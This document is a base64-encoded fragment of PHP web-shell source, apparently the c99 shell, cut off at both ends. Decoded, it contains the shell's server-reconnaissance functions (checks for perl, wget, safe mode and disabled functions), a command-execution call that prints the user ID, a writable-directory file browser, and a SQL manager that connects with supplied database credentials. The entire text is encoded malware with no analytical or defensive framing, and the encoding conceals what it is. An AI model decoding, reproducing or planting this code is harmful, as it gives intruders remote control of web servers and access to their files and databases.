CB9DQogIGZ1bmN0aW9uIGM5OXNoZXhpdCgpIHsNCiAgICBvbnBocHNodXRkb3duKCk7DQogICAgZXhpdDsNCiAgfQ0KICBoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIik7DQogIGhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTsNCiAgaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSIpOw0KICBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiLCBGQUxTRSk7DQogIGhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KICAvL1NldHRpbmcgVGVtcG9yYXJ5IERpcg0KICBpZiAoZW1wdHkoJHRtcGRpcikpIHsNCiAgICAkdG1wZGlyID0gaW5pX2dldCgidXBsb2FkX3RtcF9kaXIiKTsNCiAgICBpZiAoaXNfZGlyKCR0bXBkaXIpKSB7JHRtcGRpciA9ICIvdG1wLyI7fQ0KICB9DQogICR0bXBkaXIgPSByZWFscGF0aCgkdG1wZGlyKTsNCiAgJHRtcGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdG1wZGlyKTsNCiAgaWYgKHN1YnN0cigkdG1wZGlyLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHRtcGRpciAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKGVtcHR5KCR0bXBkaXJfbG9ncykpIHskdG1wZGlyX2xvZ3MgPSAkdG1wZGlyO30NCiAgZWxzZSB7JHRtcGRpcl9sb2dzID0gcmVhbHBhdGgoJHRtcGRpcl9sb2dzKTt9DQogIC8vR2V0dGluZyBTdGF0dXMNCiAgZnVuY3Rpb24gc2hvd3N0YXQoJHN0YXQpIHsNCiAgICBpZiAoJHN0YXQ9PSJvbiIpIHsgcmV0dXJuICI8Zm9udCBjb2xvcj0jMDBGRjAwPjxiPk9OPC9iPjwvZm9udD4iOyB9DQogICAgZWxzZSB7IHJldHVybiAiPGZvbnQgY29sb3I9I0ZGOTkwMD48Yj5PRkY8L2I+PC9mb250PiI7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0cGVybCgpIHsNCiAgICBpZiAoZXgoJ3BlcmwgLWgnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RmZXRjaCgpIHsNCiAgICBpZihleCgnZmV0Y2ggLS1oZWxwJykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0d2dldCgpIHsNCiAgICBpZiAoZXgoJ3dnZXQgLS1oZWxwJykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0b3JhY2xlKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0cG9zdGdyZXNxbCgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0bXNzcWwoKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdGN1cmwoKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0bXlzcWwoKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gc2hvd2Rpc2FibGVmdW5jdGlvbnMoKSB7DQogICAgaWYgKCRkaXNhYmxlZnVuYz1AaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSl7IHJldHVybiAiPGZvbnQgY29sb3I9I0ZGOTkwMD48Yj4iLiRkaXNhYmxlZnVuYy4iPC9iPjwvZm9udD4iOyB9DQogICAgZWxzZSB7IHJldHVybiAiPGZvbnQgY29sb3I9IzAwRkYwMD48Yj5OT05FPC9iPjwvYj48L2ZvbnQ+IjsgfQ0KICB9DQogIC8vR2V0dGluZyBTYWZlIE1vZGUgU3RhdHVzDQogIGlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpIHsNCiAgICAkc2FmZW1vZGUgPSBUUlVFOw0KICAgICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9IzMzNjZGRj48Yj5TQUZFIE1PREUgaXMgT04gKFNlY3VyZSk8L2I+PC9mb250PiI7DQogIH0NCiAgZWxzZSB7DQogICAgJHNhZmVtb2RlID0gRkFMU0U7DQogICAgJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj0jRkY5OTAwPjxiPlNBRkUgTU9ERSBpcyBPRkYgKE5vdCBTZWN1cmUpPC9iPjwvZm9udD4iOw0KICB9DQogICR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KICBpZiAoJHYgb3Igc3RydG9sb3dlcigkdikgPT0gIm9uIikgew0KICAgICRvcGVuYmFzZWRpciA9IFRSVUU7DQogICAgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kdi4iPC9mb250PiI7DQogIH0NCiAgZWxzZSB7DQogICAgJG9wZW5iYXNlZGlyID0gRkFMU0U7DQogICAgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7DQogIH0NCiAgJHNvcnQgPSBodG1sc3BlY2lhbGNoYXJzKCRzb3J0KTsNCiAgaWYgKGVtcHR5KCRzb3J0KSkgeyRzb3J0ID0gJHNvcnRfZGVmYXVsdDt9DQogICRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7DQogICRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7DQogIGlmICghZXJlZygiUEhQLyIucGhwdmVyc2lvbigpLCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpIHskRElTUF9TRVJWRVJfU09GVFdBUkUgLj0gIi4gUEhQLyIucGhwdmVyc2lvbigpO30NCiAgJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gc3RyX3JlcGxhY2UoIlBIUC8iLnBocHZlcnNpb24oKSwiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1waHBpbmZvXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+PHU+UEhQLyIucGhwdmVyc2lvbigpLiI8L3U+PC9iPjwvYT4iLGh0bWxzcGVjaWFsY2hhcnMoJERJU1BfU0VSVkVSX1NPRlRXQVJFKSk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQuYmciLCRoaWdobGlnaHRfYmcpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LmNvbW1lbnQiLCRoaWdobGlnaHRfY29tbWVudCk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsJGhpZ2hsaWdodF9kZWZhdWx0KTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5odG1sIiwkaGlnaGxpZ2h0X2h0bWwpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LmtleXdvcmQiLCRoaWdobGlnaHRfa2V5d29yZCk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQuc3RyaW5nIiwkaGlnaGxpZ2h0X3N0cmluZyk7DQogIGlmICghaXNfYXJyYXkoJGFjdGJveCkpIHsgJGFjdGJveCA9IGFycmF5KCk7IH0NCiAgJGRzcGFjdCA9ICRhY3QgPSBodG1sc3BlY2lhbGNoYXJzKCRhY3QpOw0KICAkZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOw0KICAkdWQgPSB1cmxlbmNvZGUoJGQpOw0KICAvL0RpcmVjdG9yeQ0KICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogIGlmIChlbXB0eSgkZCkpIHskZCA9IHJlYWxwYXRoKCIuIik7fQ0KICBlbHNlaWYocmVhbHBhdGgoJGQpKSB7JGQgPSByZWFscGF0aCgkZCk7fQ0KICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgJGQgPSBzdHJfcmVwbGFjZSgiXFxcXCIsIlxcIiwkZCk7DQogICRkaXNwZCA9IGh0bWxzcGVjaWFsY2hhcnMoJGQpOw0KLyoqKioqIEhUTUwgU1RBUlQgKioqKiovDQplY2hvICRodG1sX3N0YXJ0Ow0KZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXIyPjxoMz4kc2hfbmFtZTwvaDM+SG9tZXBhZ2U8L2Rpdj5cbiI7DQplY2hvICI8dGFibGUgaWQ9cGFnZWJhcj48dHI+PHRkIHdpZHRoPTUwJT48cD4iLg0KICAgICAiU29mdHdhcmUgOiAiLiRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuIiAtIDxhIGhyZWY9Ii4kc3VybC4iYWN0PXBocGluaT5waHAuaW5pPC9hPjxicj4iLg0KICAgICAiJGhzYWZlbW9kZTxicj4iLg0KICAgICAiT1MgOiAiLnBocF91bmFtZSgpLiI8YnI+IjsNCmlmICghJHdpbikgeyBlY2hvICJVc2VyIElEIDogIi5teXNoZWxsZXhlYygiaWQiKTsgfQ0KZWxzZSB7IGVjaG8gIlVzZXIgOiAiIC4gZ2V0X2N1cnJlbnRfdXNlcigpOyB9DQplY2hvICI8L3A+PC90ZD4iLg0KICAgICAiPHRkIHdpZHRoPTUwJT48cD5TZXJ2ZXIgSVAgOiA8YSBocmVmPWh0dHA6Ly93aG9pcy5kb21haW50b29scy5jb20vIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9hPiAtICIuDQogICAgICJZb3VyIElQIDogPGEgaHJlZj1odHRwOi8vd2hvaXMuZG9tYWludG9vbHMuY29tLyIuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uIj4iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI8L2E+PGJyPiI7DQppZigkd2luKXtlY2hvICJEcml2ZXMgOiAiLmRpc3BfZHJpdmVzKCRkLCRzdXJsKS4iPGJyPiI7fQ0KZWNobyAiRnJlZXNwYWNlIDogIi5kaXNwX2ZyZWVzcGFjZSgkZCk7DQplY2hvICI8L3A+PC90ZD48L3RyPiI7DQplY2hvICI8dHI+PHRkIGNvbHNwYW49Mj48cD4iOw0KZWNobyAiTXlTUUw6ICIudGVzdG15c3FsKCkuIiBNU1NRTDogIi50ZXN0bXNzcWwoKS4iIE9yYWNsZTogIi50ZXN0b3JhY2xlKCkuIiBNU1NRTDogIi50ZXN0bXNzcWwoKS4iIFBvc3RncmVTUUw6ICIudGVzdHBvc3RncmVzcWwoKS4NCiAgICAgIiBjVVJMOiAiLnRlc3RjdXJsKCkuIiBXR2V0OiAiLnRlc3R3Z2V0KCkuIiBGZXRjaDogIi50ZXN0ZmV0Y2goKS4iIFBlcmw6ICIudGVzdHBlcmwoKS4iPGJyPiI7DQplY2hvICJEaXNhYmxlZCBGdW5jdGlvbnM6ICIuc2hvd2Rpc2FibGVmdW5jdGlvbnMoKTsNCmVjaG8gIjwvcD48L3RkPjwvdHI+IjsNCmVjaG8gIjx0cj48dGQgY29sc3Bhbj0yIGlkPW1haW5tZW51PiI7DQppZiAoY291bnQoJHF1aWNrbGF1bmNoMikgPiAwKSB7DQogIGZvcmVhY2goJHF1aWNrbGF1bmNoMiBhcyAkaXRlbSkgew0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRpdGVtWzFdKTsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOw0KICAgICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7DQogICAgaWYgKGVtcHR5KCR2KSkgew0KICAgICAgJGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICAgICAgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsNCiAgICAgICR2ID0gam9pbihESVJFQ1RPUllfU0VQQVJBVE9SLCRhKTsNCiAgICB9DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7DQogICAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT5cbiI7DQogIH0NCn0NCmVjaG8gIjwvdGQ+PHRyPjx0ZCBjb2xzcGFuPTIgaWQ9bWFpbm1lbnU+IjsNCmlmIChjb3VudCgkcXVpY2tsYXVuY2gxKSA+IDApIHsNCiAgZm9yZWFjaCgkcXVpY2tsYXVuY2gxIGFzICRpdGVtKSB7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOw0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7DQogICAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsNCiAgICBpZiAoZW1wdHkoJHYpKSB7DQogICAgICAkYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICB1bnNldCgkYVtjb3VudCgkYSktMl0pOw0KICAgICAgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpOw0KICAgIH0NCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsNCiAgICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPlxuIjsNCiAgfQ0KfQ0KZWNobyAiPC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0yPiI7DQplY2hvICI8cCBjbGFzcz1mbGVmdD4iOw0KJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1Isc3Vic3RyKCRkLDAsLTEpKTsNCiRpID0gMDsNCmZvcmVhY2goJHBkIGFzICRiKSB7DQogICR0ID0gIiI7ICRqID0gMDsNCiAgZm9yZWFjaCAoJGUgYXMgJHIpIHsNCiAgICAkdC49ICRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQogICAgaWYgKCRqID09ICRpKSB7IGJyZWFrOyB9DQogICAgJGorKzsNCiAgfQ0KICBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJHQpLiImc29ydD0iLiRzb3J0LiJcIj48Zm9udCBjb2xvcj15ZWxsb3c+Ii5odG1sc3BlY2lhbGNoYXJzKCRiKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiI8L2ZvbnQ+PC9hPiI7DQogICRpKys7DQp9DQplY2hvICIgLSAiOw0KaWYgKGlzX3dyaXRhYmxlKCRkKSkgew0KICAkd2QgPSBUUlVFOw0KICAkd2R0ID0gIjxmb250IGNvbG9yPSMwMEZGMDA+W09LXTwvZm9udD4iOw0KICBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRkKSkuIjwvZm9udD48L2I+IjsNCn0NCmVsc2Ugew0KICAkd2QgPSBGQUxTRTsNCiAgJHdkdCA9ICI8Zm9udCBjb2xvcj1yZWQ+W1JlYWQtT25seV08L2ZvbnQ+IjsNCiAgZWNobyAiPGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPiI7DQp9DQo/Pg0KPC9wPg0KPGRpdiBjbGFzcz1mcmlnaHQ+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibHMiPg0KRGlyZWN0b3J5OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj4NCjwvZm9ybT4NCjwvZGl2Pg0KPC90ZD48L3RyPjwvdGFibGU+DQo8P3BocA0KLy9JbmZvcm1hdGlvbiBUYWJsZQ0KZWNobyAiPHRhYmxlIGlkPW1haW5pbmZvPjx0cj48dGQgd2lkdGg9XCIxMDAlXCI+XG4iOw0KLy9BY3Rpb24NCmlmICgkYWN0ID09ICIiKSB7ICRhY3QgPSAkZHNwYWN0ID0gImxzIjsgfQ0KaWYgKCRhY3QgPT0gInBocGluaSIgKSB7IGdldF9waHBpbmkoKTsgfQ0KaWYgKCRhY3QgPT0gInNxbCIpIHsNCiAgJHNxbF9zdXJsID0gJHN1cmwuImFjdD1zcWwiOw0KICBpZiAoJHNxbF9sb2dpbikgIHskc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pO30NCiAgaWYgKCRzcWxfcGFzc3dkKSB7JHNxbF9zdXJsIC49ICImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpO30NCiAgaWYgKCRzcWxfc2VydmVyKSB7JHNxbF9zdXJsIC49ICImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpO30NCiAgaWYgKCRzcWxfcG9ydCkgICB7JHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7fQ0KICBpZiAoJHNxbF9kYikgICAgIHskc3FsX3N1cmwgLj0gIiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpO30NCiAgJHNxbF9zdXJsIC49ICImIjsNCiAgZWNobyAiPGg0PkF0dGVudGlvbiEgU1FMLU1hbmFnZXIgaXMgPHU+Tk9UPC91PiBhIHJlYWR5IG1vZHVsZSEgRG9uJ3QgcmVwb3J0cyBidWdzLjwvaDQ+Ii4NCiAgICAgICAiPHRhYmxlPiIuDQogICAgICAgIjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgY29sc3Bhbj0yIGNsYXNzPWJhcmhlYWRlcj4iOw0KICBpZiAoJHNxbF9zZXJ2ZXIpIHsNCiAgICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsNCiAgICAkZXJyID0gbXlzcWxfc21hcnRlcnJvcigpOw0KICAgIEBteXNxbF9zZWxlY3RfZGIoJHNxbF9kYiwkc3FsX3NvY2spOw0KICAgIGlmICgkc3FsX3F1ZXJ5IGFuZCAkc3VibWl0KSB7JHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jayk7ICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KICB9DQogIGVsc2UgeyRzcWxfc29jayA9IEZBTFNFO30NCiAgZWNobyAiLjogU1FMIE1hbmFnZXIgOi48YnI+IjsNCiAgaWYgKCEkc3FsX3NvY2spIHsNCiAgICBpZiAoISRzcWxfc2VydmVyKSB7ZWNobyAiTk8gQ09OTkVDVElPTiI7fQ0KICAgIGVsc2Uge2VjaG8gIkNhbid0IGNvbm5lY3QhICIuJGVycjt9DQogIH0NCiAgZWxzZSB7DQogICAgJHNxbHF1aWNrbGF1bmNoID0gYXJyYXkoKTsNCiAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKSk7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyLXN0YXR1cyIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX2FjdD1zZXJ2ZXJzdGF0dXMiKTsNCiAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnZhcnMiKTsNCiAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJQcm9jZXNzZXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9cHJvY2Vzc2VzIik7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiTG9nb3V0Iiwkc3VybC4iYWN0PXNxbCIpOw0KICAgIGVjaG8gIk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIHJ1bm5pbmcgaW4gIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCIpPGJyPiI7DQogICAgaWYgKGNvdW50KCRzcWxxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkc3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+IF0gIjt9fQ0KICB9DQogIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsNCiAgaWYgKCEkc3FsX3NvY2spIHsNCiAgICBlY2hvICI8dGQgd2lkdGg9XCIyOCVcIiBoZWlnaHQ9XCIxMDBcIiB2YWxpZ249XCJ0b3BcIj48bGk+SWYgbG9naW4gaXMgbnVsbCwgbG9naW4gaXMgb3duZXIgb2YgcHJvY2Vzcy48bGk+SWYgaG9zdCBpcyBudWxsLCBob3N0IGlzIGxvY2FsaG9zdDwvYj48bGk+SWYgcG9ydCBpcyBudWxsLCBwb3J0IGlzIDMzMDYgKGRlZmF1bHQpPC90ZD48dGQgd2lkdGg9XCI5MCVcIiBoZWlnaHQ9MSB2YWxpZ249XCJ0b3BcIj4iOw0KICAgIGVjaG8gIjx0YWJsZSB3aWR0aD1cIjEwMCVcIiBib3JkZXI9MD48dHI+PHRkPjxiPlBsZWFzZSwgZmlsbCB0aGUgZm9ybTo8L2I+PHRhYmxlPjx0cj48dGQ+PGI+VXNlcm5hbWU8L2I+PC90ZD48dGQ+PGI+UGFzc3dvcmQ8L2I+PC90ZD48dGQ+PGI+RGF0YWJhc2U8L2I+PC90ZD48L3RyPjxmb3JtIGFjdGlvbj1cIiAkc3VybCBcIiBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCJzcWxcIj48dHI+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cInJvb3RcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiXCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCJcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwibG9jYWxob3N0XCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIjMzMDZcIiBtYXhsZW5ndGg9XCI2XCIgc2l6ZT1cIjNcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29ubmVjdFwiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPiI7DQogIH0NCiAgZWxzZSB7DQogICAgLy9TdGFydCBsZWZ0IHBhbmVsDQogICAgaWYgKCFlbXB0eSgkc3FsX2RiKSkgew0KICAgICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHN